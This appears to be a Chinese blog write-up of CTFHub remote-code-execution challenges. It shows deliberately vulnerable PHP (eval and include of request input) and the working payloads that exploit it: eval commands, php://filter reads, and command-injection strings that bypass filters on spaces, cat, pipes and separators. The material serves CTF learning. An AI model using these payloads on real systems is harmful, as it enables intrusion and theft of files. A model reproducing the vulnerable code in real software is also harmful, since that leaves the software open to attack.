IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 【CTFHub】RCE -> 正文阅读

[PHP知识库]【CTFHub】RCE

目录

eval执行

文件包含?

?????????strpos漏洞

php://input

读取源代码

??远程包含

?命令注入

命令注入-过滤cat?

命令注入-过滤空格?

【攻防世界】web新手区 command_execution

?过滤目录分隔符

过滤运算符

?综合过滤练习


eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

先查看下目录

/?cmd=system('ls');

?

看来这一级啥都没有,那我们看看上一级文件夹

/?cmd=system('ls /');

?打开flag,注意打开的是下一级

/?cmd=system('cat /flag_30311');

文件包含?

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

点开shell

strpos漏洞

  • strpos — 查找字符串首次出现的位置?
  • strpos 函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标,则返回下标 0 ;如果搜索不到,则返回 false?

request = post + get

查看根目录

?

index.php shell.txt?

那我们查看上一级目录?

?bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

查看那一级的flag?

php://input

php://?— 访问各个输入/输出流
php://input?是个可以访问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。?

??

先进行抓包

?本级目录没有,查看上一级目录

查看就行了

读取源代码

?

看题目,发现不能用input了

/?file=php://filter/read=convert.base64-encode/resource=/flag

远程包含

还是一样

?

?命令注入

先输入127.0.0.1试试,有回显

查看下目录

?

打开这个文件,却发现打不开

?

新学一种方法

应该是文件中包含特殊字符,使用管道运行base64加密内容?

127.0.0.1 & cat *.php | base64

?

解码出flag

命令注入-过滤cat?

127.0.0.1 & tac *.php | base64

命令注入-过滤空格?

空格用/**/代替

??

?也可以127.0.0.1|ls

空格用<代替?

127.0.0.1|cat<flag_32332039011989.php|base64

解码得到flag

掌握有关命令执行的知识 windows 或 linux 下:

command1 && command2 先执行 command1,如果为真,再执行 command2

command1 | command2 只执行 command2

command1 & command2 先执行 command2 后执行 command1

command1 || command2 先执行 command1,如果为假,再执行 command2?

【攻防世界】web新手区 command_execution

先输入一个127.0.0.1看回显

127.0.0.1 && ls 看目录

?直接捕获flag试试

查看这个文件,出flag

注意:cat和目录之间有空格?

?过滤目录分隔符

127.0.0.1|ls

?

127.0.0.1;cd flag_is_here;ls

?

127.0.0.1;cd flag_is_here;tac flag_210667739624.php|base64

?解码即可

过滤运算符

我用;

过滤了管道符|,不能再使用了
base64 1.php 与****|base64是等价的

12.0.0.1 ; base64 flag_27475302269053.php

?解码即可

?综合过滤练习

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

前面的全都过滤

空格用%09代替
flag用f***
cat用tac
linux下 命令分隔符除了;还有%0a

因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码?

?ip=127.0.0.1%0acd%09f***_is_here%0als#

?

?ip=127.0.0.1%0acd%09f***_is_here%0abase64%09*.php#

?解码即可

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-24 15:04:36  更:2022-02-24 15:05:21 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 10:56:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码